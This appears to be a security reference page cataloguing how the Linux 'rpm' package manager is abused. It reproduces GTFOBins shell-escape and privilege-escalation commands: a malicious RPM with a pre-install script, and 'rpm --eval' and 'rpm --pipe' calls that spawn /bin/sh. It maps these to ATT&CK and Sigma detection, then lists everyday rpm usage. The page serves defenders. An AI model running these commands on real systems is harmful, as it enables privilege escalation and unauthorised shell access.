CmdID / Programs / Linux and Unix
rpm
RPM Package Manager. For equivalent commands in other package managers, see <https://wiki.archlinux.org/title/Pacman/Rosetta>. tldr-pages
GTFOBins command, inherit, shell 2 Sigma rules name it 1 ATT&CK technique 4 documented commands
How rpm is abused
command
-ivhinherit
--evalshell T1059.004 Command and Scripting Interpreter: Unix Shell
--evalshell T1059.004 Command and Scripting Interpreter: Unix Shell
--pipeEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for rpm.
4 documented commands
command with sudo
Generate the RPM package with fpm and upload it to the target.
echo /path/to/command >x.sh
fpm -n x -s dir -t rpm -a all --before-install x.sh .rpm -ivh x-1.0-1.noarch.rpminherit unprivileged, with sudo, as SUID
This allows to run Lua code (...).
rpm --eval '%{lua:...}'shell unprivileged, with sudo, as SUID
rpm --eval '%(/bin/sh 1>&2)'shell unprivileged, with sudo, as SUID
rpm --pipe '/bin/sh 0<&1'None of the 4 commands CmdID reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for rpm. CmdID reads the line of each that runs rpm.
What detects it
Everyday use
Show version of httpd package
rpm --query httpdIdentifyList versions of all matching packages
rpm [-qa|--query --all] 'mariadb*'IdentifyForcibly install a package regardless of currently installed versions
rpm --upgrade path/to/package.rpm --forceIdentifyNone of the 3 examples CmdID reads matches GTFOBins abuse or trips a Sigma process-creation rule.